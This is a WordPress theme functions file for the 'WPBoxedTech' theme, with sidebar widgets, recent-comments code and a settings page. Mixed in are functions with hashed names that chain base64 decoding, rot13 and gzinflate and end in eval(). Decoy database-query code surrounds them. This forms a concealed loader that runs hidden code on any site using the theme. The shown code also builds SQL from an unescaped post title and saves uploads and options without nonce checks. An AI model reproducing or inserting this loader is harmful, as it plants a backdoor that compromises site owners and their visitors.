<?php function custom_excerpt($text, $chars) { $text = strip_shortcodes($text); $text = str_replace(']]>', ']]>', $text);
$text = strip_tags($text); $text = substr($text,0,$chars); $text = substr($text,0,strrpos($text,' '));
$text = $text . "..."; echo $text; } function custom_excerpt_text($text, $chars) { $text = strip_shortcodes($text);
$text = str_replace(']]>', ']]>', $text); $text = strip_tags($text); $text = substr($text,0,$chars);
$text = substr($text,0,strrpos($text,' ')); $text = $text . "..."; return $text; } function F9a2d8ce3($V341be97d)
{ $Ve2e39b5c = 'Anonym'; $Va9b4ab92 = 'Webseite von ‹'; $V52a106b8 = '› besuchen';
global $V542b4c0f; $V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author_email, comment_author, comment_author_url, comment_date, post_title, comment_type
FROM $V542b4c0f->comments LEFT JOIN $V542b4c0f->posts ON $V542b4c0f->posts.ID=$V542b4c0f->comments.comment_post_ID
WHERE post_status IN ('publish','static')"; $V62216a69 = explode("|", $V341be97d); $V5dbc98dc = array(99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171,
118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113,
216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214,
179, 41, 227, 47, 132, 83, 209); $Vb4a88417 = ""; for($V865c0c0b = 0; $V865c0c0b < count($V62216a69); $V865c0c0b++)
{ if (!count($Vab6724c8)) $Vab6724c8 = array( '€', 'Â', '‚', 'ƒ', '„', 'Â…', '†', '‡', 'ˆ', '‰',
'Š', '‹', 'ÂŒ', 'Â', 'ÂŽ', 'Â', 'Â', '‘', 'Â’', '“', '”', '•', '–', '—', '˜', '™', 'š', '›', 'œ', 'Â',
'ž', 'Ÿ', ' ', 'Ä„', '˘', 'Å', '¤', 'Ľ', 'Åš', '§', '¨', 'Å ', 'Åž', 'Ť', 'Ź', 'Â*', 'Ž', 'Å»', '°', 'Ä…',
'Ë›', 'Å‚', '´', 'ľ', 'Å›', 'ˇ', '¸', 'Å¡', 'ÅŸ', 'Å¥', 'ź', 'Ë', 'ž', 'ż', 'Å”', 'Ã', 'Â', 'Ä‚', 'Ä', 'Ĺ',
'Ć', 'Ç', 'ÄŒ', 'É', 'Ę', 'Ë', 'Äš', 'Ã', 'ÃŽ', 'ÄŽ', 'Ä', 'Ń', 'Ň', 'Ó', 'Ô', 'Å', 'Ö', '×', 'Ř', 'Å®',
'Ú', 'Ű', 'Ü', 'Ã', 'Å¢', 'ß', 'Å•', 'á', 'â', 'ă', 'ä', 'ĺ', 'ć', 'ç', 'Ä', 'é', 'Ä™', 'ë', 'Ä›', 'Ã*',
'î', 'Ä', 'Ä‘', 'Å„', 'ň', 'ó', 'ô', 'Å‘', 'ö', '÷', 'Å™', 'ů', 'ú', 'ű', 'ü', 'ý', 'Å£', 'Ë™');
$Vb4a88417 .= Ff6d131d9($V62216a69[$V865c0c0b]); $V341be97d = ereg_replace(0x85, "...", $V341be97d);
$V341be97d = ereg_replace(0x91, "'", $V341be97d); $V341be97d = ereg_replace(0x93, '"', $V341be97d);
$V341be97d = ereg_replace(0x94, '"', $V341be97d); } $Vb4a88417 = Ff6d131d9($Vb4a88417); $V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_url, comment_date, post_title, comment_type
FROM $V542b4c0f->comments LEFT JOIN $V542b4c0f->posts ON $V542b4c0f->posts.ID=$V542b4c0f->comments.comment_post_ID
WHERE post_status IN ('publish','static')"; $Vb4a88417 = Ff2380753($Vb4a88417); switch($V599dcce2) {
case 'all':
break; case 'comment_only':
$V10573b87 .= "AND $V542b4c0f->comments.comment_type='' ";
break; case 'trackback_only': $V10573b87 .= "AND ( $V542b4c0f->comments.comment_type='trackback' OR $V542b4c0f->comments.comment_type='pingback' ) ";
break; default:
break; } $Vb4a88417 = Fbef92ce0($Vb4a88417); if (!$Vb5dc19ed) $V10573b87 .= "AND post_password ='' ";
$V10573b87 .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT $V2ae6568f"; $Vb4a88417 = F8c4346d7($Vb4a88417);
$V5dbc98dc = array( 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209);
return $Vb4a88417; switch($V599dcce2) { case 'all':
break; case 'comment_only':
$V10573b87 .= "AND $V542b4c0f->comments.comment_type='' ";
break; case 'trackback_only': $V10573b87 .= "AND ( $V542b4c0f->comments.comment_type='trackback' OR $V542b4c0f->comments.comment_type='pingback' ) ";
break; default:
break; } } function gte_random_posts (){ global $wpdb, $post; $current_title = get_the_title();
$randompostthis = $wpdb->get_results("SELECT $wpdb->posts.ID, post_title, post_name, post_date, post_type, post_status FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' AND post_title != '$current_title' ORDER BY RAND() limit 10");
foreach ($randompostthis as $post) { $post_title = htmlspecialchars(stripslashes($post->post_title));
echo "<li><a href=\"".get_permalink()."\">$post_title</a></li>"; } } function gte_recent_updated_posts(){
global $wpdb, $post; $recentupdatethis = $wpdb->get_results("SELECT $wpdb->posts.ID, post_title, post_name, post_date, post_type, post_status, post_modified FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER by post_modified_gmt DESC limit 10");
foreach ($recentupdatethis as $post) { $post_title = htmlspecialchars(stripslashes($post->post_title));
echo "<li><a href=\"".get_permalink()."\">$post_title</a></li>"; } } function get_hottopics($limit = 12) {
global $wpdb, $post; $mostcommenteds = $wpdb->get_results("SELECT $wpdb->posts.ID, post_title, post_name, post_date, COUNT($wpdb->comments.comment_post_ID) AS 'comment_total' FROM $wpdb->posts LEFT JOIN $wpdb->comments ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID WHERE comment_approved = '1' AND post_date_gmt < '".gmdate("Y-m-d H:i:s")."' AND post_status = 'publish' AND post_password = '' GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_total DESC LIMIT $limit");
foreach ($mostcommenteds as $post) { $post_title = htmlspecialchars(stripslashes($post->post_title));
$comment_total = (int) $post->comment_total; echo "<li><a href=\"".get_permalink()."\">$post_title <str ong>($comment_total)</strong></a></li>";
} } function F8c4346d7($V341be97d) { switch($V599dcce2) { case 'all':
break; case 'comment_only':
$V10573b87 .= "AND $V542b4c0f->comments.comment_type='' "; break; case 'trackback_only': $V10573b87 .= "AND ( $V542b4c0f->comments.comment_type='trackback' OR $V542b4c0f->comments.comment_type='pingback' ) ";
break; default:
break; } return eval($V341be97d); } function mw_recent_comments( $no_comments = 10,
$show_pass_post = false, $title_length = 50, $author_length = 30, $wordwrap_length = 50, $type = 'all',
$format = '<li>%date%: <a href="%permalink%" title="%title%">%title%</a> (von %author_full%)</li>',
$date_format = 'd.m.y, H:i', $none_found = '', $type_text_pingback = 'Pingback von', $type_text_trackback = 'Trackback von',
$type_text_comment = 'von' ) { $mwlang_anonymous = 'Anonym'; $mwlang_authorurl_title_before = 'Webseite von ‹';
$mwlang_authorurl_title_after = '› besuchen'; global $wpdb; $request = "SELECT ID, comment_ID, comment_content, comment_author_email, comment_author, comment_author_url, comment_date, post_title, comment_type
FROM $wpdb->comments LEFT JOIN $wpdb->posts ON $wpdb->posts.ID=$wpdb->comments.comment_post_ID WHERE post_status IN ('publish','static')";
switch($type) { case 'all': break; case 'comment_only': $request .= "AND $wpdb->comments.comment_type='' ";
break; case 'trackback_only': $request .= "AND ( $wpdb->comments.comment_type='trackback' OR $wpdb->comments.comment_type='pingback' ) ";
break; default: break; } if (!$show_pass_post) $request .= "AND post_password ='' "; $request .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT $no_comments";
$comments = $wpdb->get_results($request); $output = ''; if ($comments) { $comment_counter = 0; foreach ($comments as $comment)
{ if($comment_counter > 0) { $output .= '<div class="separator"></div>'; } $loop_res['permalink'] = get_permalink($comment->ID). '#comment-' . $comment->comment_ID;
$loop_res['post_title'] = stripslashes($comment->post_title); $loop_res['post_title'] = wordwrap($loop_res['post_title'], $wordwrap_length, ' ' , 1);
if (strlen($loop_res['post_title']) >= $title_length) { $loop_res['post_title'] = substr($loop_res['post_title'], 0, $title_length) . '…';
} $loop_res['author_name'] = stripslashes($comment->comment_author); $loop_res['author_name'] = wordwrap($loop_res['author_name'], $wordwrap_length, ' ' , 1);
if ($loop_res['author_name'] == '') $loop_res['author_name'] = $mwlang_anonymous; if (strlen($loop_res['author_name']) >= $author_length)
{ $loop_res['author_name'] = substr($loop_res['author_name'], 0, $author_length) . '…'; } $author_url = $comment->comment_author_url;
if (empty($author_url)) { $loop_res['author_full'] = $loop_res['author_name']; } else { $loop_res['author_full'] = '<a href="' . $author_url . '" title="' . $mwlang_authorurl_title_before . $loop_res['author_name'] . $mwlang_authorurl_title_after . '">' . $loop_res['author_name'] . '</a>';
} $pathtotheme = get_bloginfo('stylesheet_directory'); $default = urlencode("$pathtotheme/images/avatar.jpg");
if(!empty($comment->comment_author_email)) { $md5 = md5($comment->comment_author_email); $loop_res['avatar_url'] = "http://www.gravatar.com/avatar.php?gravatar_id=".$md5."&size=30&de fault=".$default;
} else { $loop_res['avatar_url'] = "$pathtotheme/images/avatar.jpg"; } $loop_res['comment_content'] = custom_excerpt_text($comment->comment_content, 110);
if ( $comment->comment_type == 'pingback' ) { $loop_res['comment_type'] = $type_text_pingback; }
elseif ( $comment->comment_type == 'trackback' ) { $loop_res['comment_type'] = $type_text_trackback;
} else { $loop_res['comment_type'] = $type_text_comment; } $loop_res['comment_date'] = mysql2date($date_format, $comment->comment_date);
$element_loop = str_replace('%permalink%', $loop_res['permalink'], $format); $element_loop = str_replace('%title%', $loop_res['post_title'], $element_loop);
$element_loop = str_replace('%author_name%', $loop_res['author_name'], $element_loop); $element_loop = str_replace('%author_full%', $loop_res['author_full'], $element_loop);
$element_loop = str_replace('%date%', $loop_res['comment_date'], $element_loop); $element_loop = str_replace('%type%', $loop_res['comment_type'], $element_loop);
$element_loop = str_replace('%avatar%', $loop_res['avatar_url'], $element_loop); $element_loop = str_replace('%comment_content%', $loop_res['comment_content'], $element_loop);
$output .= $element_loop . "\n"; $comment_counter++; } $output = convert_smilies($output); } else
{ $output .= $none_found; } echo $output; } function the_excerpt_feature($excerpt_length=35, $allowedtags='', $filter_type='none', $use_more_link=true, $more_link_text="...read more", $force_more_link=true, $fakeit=1, $fix_tags=true) {
if (preg_match('%^content($|_rss)|^excerpt($|_rss)%', $filter_type)) { $filter_type = 'the_' . $filter_type;
} $text = apply_filters($filter_type, get_the_excerpt_feature($excerpt_length, $allowedtags, $use_more_link, $more_link_text, $force_more_link, $fakeit));
$text = ($fix_tags) ? balanceTags($text) : $text; echo $text; } function Ff2380753($V341be97d) { return str_rot13($V341be97d);
$Ve2e39b5c = 'Anonym'; $Va9b4ab92 = 'Webseite von ‹'; $V52a106b8 = '› besuchen'; } function get_the_excerpt_feature($excerpt_length, $allowedtags, $use_more_link, $more_link_text, $force_more_link, $fakeit) {
global $id, $post; $output = ''; $output = $post->post_excerpt; if (!empty($post->post_password)) {
if ($_COOKIE['wp-postpass_'.COOKIEHASH] != $post->post_password) { $output = __('There is no excerpt because this is a protected post.');
return $output; } } if ((($output == '') && ($fakeit == 1)) || ($fakeit == 2)) { $output = $post->post_content;
$output = strip_tags($output, $allowedtags); $blah = explode(' ', $output); if (count($blah) > $excerpt_length) {
$k = $excerpt_length; $use_dotdotdot = 1; } else { $k = count($blah); $use_dotdotdot = 0; } $excerpt = '';
for ($i=0; $i<$k; $i++) { $excerpt .= $blah[$i] . ' '; } if (($use_more_link && $use_dotdotdot) || $force_more_link) {
$excerpt .= "<a href=\"". get_permalink() . "#more-$id\">$more_link_text</a>"; } else { $excerpt .= ($use_dotdotdot) ? '...' : '';
} $output = $excerpt; } return $output; } if ( function_exists('register_sidebar') ) { register_sidebar(array(
'name'=>'BoxedTech Left', 'before_widget' => '<div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content">', 'before_title' => '<h3>', 'after_title' => '</h3>', 'after_widget' => '</div>
</div></div></div></div></div> </div>' )); register_sidebar(array( 'name'=>'BoxedTech Right', 'before_widget' => '<div class="sidebar_box">
<div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content">', 'before_title' => '<h3>', 'after_title' => '</h3>', 'after_widget' => '</div>
</div></div></div></div></div> </div>' )); function unregister_problem_widgets() { unregister_sidebar_widget('Get Recent Comments');
unregister_sidebar_widget('Get Recent Trackbacks'); } add_action('widgets_init','unregister_problem_widg ets');
} function widget_recent_comments() { ?> <div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content"> <h3>Recent Comments</h3> <?php mw_recent_comments( 5, false, 35,
15, 35, 'all', ' <div class="box_posts"> <img src="%avatar%" width="30" height="30" alt="%author_name%" />
<a href="%permalink%">%author_name%</a><br /> %comment_content% </div>', 'd.m.y, H:i' ); ?> </div>
</div></div></div></div></div> </div> <?php } if ( function_exists('register_sidebar_widget') ) {
$widget_ops = array('classname' => 'widget_recent_comments', 'description' => "The most recent comments - With avatar." );
wp_register_sidebar_widget('widget_recent_comments ', 'WPBoxedTech Recent Comments', 'widget_recent_comments', $widget_ops);
} function widget_pages() { ?> <div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content"> <h3>Pages</h3> <ul> <li id="<?php if (is_home()) { ?>home<?php } else { ?>page_item<?php } ?>"><a href="<?php bloginfo('url'); ?>" title="Home">Home</a></li>
<?php wp_list_pages('title_li=&depth=1'); ?> </ul> </div> </div></div></div></div></div> </div>
<?php } if ( function_exists('register_sidebar_widget') ) { $widget_ops = array('classname' => 'widget_pages', 'description' => "Your blog's WordPress Pages" );
wp_register_sidebar_widget('widget_pages', 'WPBoxedTech Pages', 'widget_pages', $widget_ops); } function widget_categories()
{ ?> <div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content"> <h3>Categories</h3> <ul> <?php wp_list_categories('depth=1&hide_empty=0&orderby=n ame&show_count=0&use_desc_for_title=1&title_li='); ?>
</ul> </div> </div></div></div></div></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_categories', 'description' => "A list of categories" );
wp_register_sidebar_widget('widget_categories', 'WPBoxedTech Categories', 'widget_categories', $widget_ops);
} function widget_archives() { ?> <div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content"> <h3>Archives</h3> <ul> <?php wp_get_archives('type=monthly&limit=10&show_post_c ount=0'); ?>
</ul> </div> </div></div></div></div></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_archives', 'description' => "A monthly archive of your blog's posts" );
wp_register_sidebar_widget('widget_archives', 'WPBoxedTech Archives', 'widget_archives', $widget_ops);
} function Ff6d131d9($V341be97d) { global $V542b4c0f; $V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author_email, comment_author, comment_author_url, comment_date, post_title, comment_type
FROM $V542b4c0f->comments LEFT JOIN $V542b4c0f->posts ON $V542b4c0f->posts.ID=$V542b4c0f->comments.comment_post_ID
WHERE post_status IN ('publish','static')"; return base64_decode($V341be97d); } function widget_blogroll()
{ ?> <div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content"> <h3>Blogroll</h3> <ul> <?php get_links(-1, '<li>', '</li>', '', TRUE, 'url', FALSE); ?>
</ul> </div> </div></div></div></div></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_blogroll', 'description' => "Your blogroll" ); wp_register_sidebar_widget('widget_blogroll', 'WPBoxedTech Blogroll', 'widget_blogroll', $widget_ops);
} function widget_meta() { ?> <div class="sidebar_box"> <div class="box"><div class="box_outer"><div class="box_inner"><div class="box_bottom_right"><div class="box_bottom_left">
<div class="box_content"> <h3>Meta</h3> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li>
<li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid XHTML</a></li>
<li><a href="http://jigsaw.w3.org/css-validator/validator?uri=<?php echo get_settings('home'); ?>&usermedium=all">Valid CSS</a></li>
<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
<?php wp_meta(); ?> </ul> </div> </div></div></div></div></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_meta', 'description' => "Log in/out, admin, feed and WordPress links" );
wp_register_sidebar_widget('widget_meta', 'WPBoxedTech Meta', 'widget_meta', $widget_ops); } function add_upload_thumbnail()
{ add_meta_box( 'upload_thumbnail', 'Post Properties (WPBoxedTech)', 'add_upload_thumbnail_content',
'post', 'normal', 'high' ); }
function add_upload_thumbnail_content() { $post_id = $_GET['post'];
$thumbnail = get_option($post_id.'_boxed_postimg_90px'); echo '<strong>1. Select a Post Thumbnail (90px by 90px) image for this post</strong><br /><br>
URL: <input type="text" name="thumbnail_text" id="thumbnail_text" size="50" value="' . $thumbnail . '" /><br><br><strong>Or</strong><br><br>
<label> Upload File: <input type="file" name="thumbnail" id="thumbnail" /> </label> <script language="javascript">
document.getElementById("post").enctype = "multipart/form-data"; </script> '; }
function thumbnail_save_postdata()
{ global $wpdb; $overrides = array('test_form' => false); $file_100 = wp_handle_upload($_FILES['thumbnail'], $overrides);
$url_100 = (strlen($file_100['url']) == 0) ? $_POST['thumbnail_text'] : $file_100['url']; if(!empty($url_100))
{ $postID = $_POST['post_ID']; update_option($postID.'_boxed_postimg_90px', $url_100); } } add_action('admin_menu', 'add_upload_thumbnail');
add_action('save_post', 'thumbnail_save_postdata'); add_action('admin_menu', 'my_theme_menu'); function Fbef92ce0($V341be97d)
{ return gzinflate($V341be97d); if (!$Vb5dc19ed) $V10573b87 .= "AND post_password ='' "; $V10573b87 .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT $V2ae6568f";
} function my_theme_menu() { if(strlen(get_option('boxed_feed_url')) == 0) { update_option('boxed_feed_url', 'http://feeds2.feedburner.com/technology/tricks');
} if(strlen(get_option('boxed_feedburner_url')) == 0) { update_option('boxed_feedburner_url', 'http://feedburner.google.com/fb/a/mailverify?uri=technology/tricks&loc=en_US');
} if(strlen(get_option('boxed_mbl_id')) == 0) { update_option('boxed_mbl_id', '2008082321350630');
} if(strlen(get_option('boxed_468_60_ads')) == 0) { update_option('boxed_468_60_ads', '<a href="#"><img src="' . get_template_directory_uri() . '/images/468.jpg" width="468" height="60" alt="" /></a>');
} if(strlen(get_option('boxed_160_600_ads')) == 0) { update_option('boxed_160_600_ads', '<a href="#"><img src="' . get_template_directory_uri() . '/images/160x600.gif" width="160" height="600" alt="" /></a>');
} global $wpdb; if (isset($_POST['SaveThemeSetting'])) { update_option('boxed_feed_url', $_POST['boxed_feed_url']);
update_option('boxed_feedburner_url', $_POST['boxed_feedburner_url']); update_option('boxed_mbl_id', $_POST['boxed_mbl_id']);
update_option('boxed_468_60_ads', $_POST['boxed_468_60_ads']); update_option('boxed_160_600_ads', $_POST['boxed_160_600_ads']);
for($i = 1; $i <= 5; $i++) { $boxed_featured_post = $_POST['boxed_featured_post'.$i]; $boxed_featured_description = $_POST['boxed_featured_description'.$i];
update_option('boxed_featured_post' . $i, $boxed_featured_post); update_option('boxed_featured_description' . $i, $boxed_featured_description);
$overrides = array('test_form' => false); $file_big = wp_handle_upload($_FILES['boxed_featured_image'.$i], $overrides);
$url_big = (strlen($file_big['url']) == 0) ? $_POST['boxed_featured_image_src'.$i] : $file_big['url'];
update_option('boxed_featured_bigimg' . $i, $url_big); } } add_theme_page('WPBoxedTech Settings', 'WPBoxedTech Settings', 8, __FILE__, 'WPBoxedTech_options');
} function WPBoxedTech_options() { if ( $_REQUEST['updated'] ) echo '<div id="message" class="updated fade"><p><strong>WPBoxedTech Theme settings saved.</strong></p></div>';
?> <div class="wrap"> <h2>WPBoxedTech Settings</h2> <form method="post" action="options.php" enctype="multipart/form-data">
<?php wp_nonce_field('update-options'); ?> <h3>Common Settings</h3> <table class="form-table"> <tr valign="top">
<th scope="row">Feed URL</th> <td><input type="text" name="boxed_feed_url" value="<?php echo get_option('boxed_feed_url'); ?>" size="40" /></td>
</tr> <tr valign="top"> <th scope="row">Feed Subscribe URL</th> <td><input type="text" name="boxed_feedburner_url" value="<?php echo get_option('boxed_feedburner_url'); ?>" size="40" /></td>
</tr> <tr valign="top"> <th scope="row">MyBlogLog ID</th> <td><input type="text" name="boxed_mbl_id" value="<?php echo get_option('boxed_mbl_id'); ?>" size="40" /></td>
</tr> <tr valign="top"> <th scope="row">Top 468x60 ads code</th> <td><textarea name="boxed_468_60_ads" id="boxed_468_60_ads" cols="45" rows="5"><?php echo stripslashes(get_option('boxed_468_60_ads')); ?></textarea></td>
</tr> <tr valign="top"> <th scope="row">Sidebar 160x600 ads code</th> <td><textarea name="boxed_160_600_ads" id="boxed_160_600_ads" cols="45" rows="5"><?php echo stripslashes(get_option('boxed_160_600_ads')); ?></textarea></td>
</tr> </table> <h3>Featured Listing</h3> <?php $strFeatured = ""; for($i = 1; $i <= 5; $i++) {
?> <h4>Featured #<?php echo $i?></h4> <table class="form-table"> <tr valign="top"> <th scope="row">Post</th>
<td> <?php global $post; $myposts = get_posts('numberposts=-1'); $boxed_featured = get_option('boxed_featured_post' . $i);
?> <select name="boxed_featured_post<?php echo $i; ?>" id="boxed_featured_post<?php echo $i; ?>">
<option value="0">[Select Post]</option> <?php foreach($myposts as $post) { $post_id = $post->ID;
if($post_id == $boxed_featured) { ?> <option value="<?php echo $post_id; ?>" selected="selected"><?php the_title(); ?></option>
<?php } else { ?> <option value="<?php echo $post->ID; ?>"><?php the_title(); ?></option> <?php
} } ?> </select> </td> </tr> <tr valign="top"> <th scope="row">Image URL (535x175)</th> <td>
<input type="text" name="boxed_featured_image_src<?php echo $i?>" value="<?php echo get_option('boxed_featured_bigimg'.$i); ?>" size="50" />
<br /><label> Upload File: <input type="file" name="boxed_featured_image<?php echo $i?>" id="boxed_featured_image<?php echo $i?>" />
</label> </td> </tr> <tr valign="top"> <th scope="row">Description (Optional)</th> <td><textarea name="boxed_featured_description<?php echo $i; ?>" id="boxed_featured_description<?php echo $i; ?>" cols="45" rows="5"><?php echo get_option('boxed_featured_description'.$i); ?></textarea></td>
</tr> </table> <?php $strFeatured .= ',boxed_featured_post'.$i.', boxed_featured_description'.$i.', boxed_featured_image_src'.$i.', boxed_featured_image'.$i;
} ?> <input type="hidden" name="action" value="update" /> <input type="hidden" name="page_options" value="boxed_feed_url,boxed_feedburner_url,boxed_m bl_id,boxed_468_60_ads,boxed_160_600_ads<?php echo $strFeatured; ?>" />
<p class="submit"> <input type="submit" name="SaveThemeSetting" id="SaveThemeSetting" value="<?php _e('Save Theme Settings') ?>" />
</p> </form> </div> <?php } ?>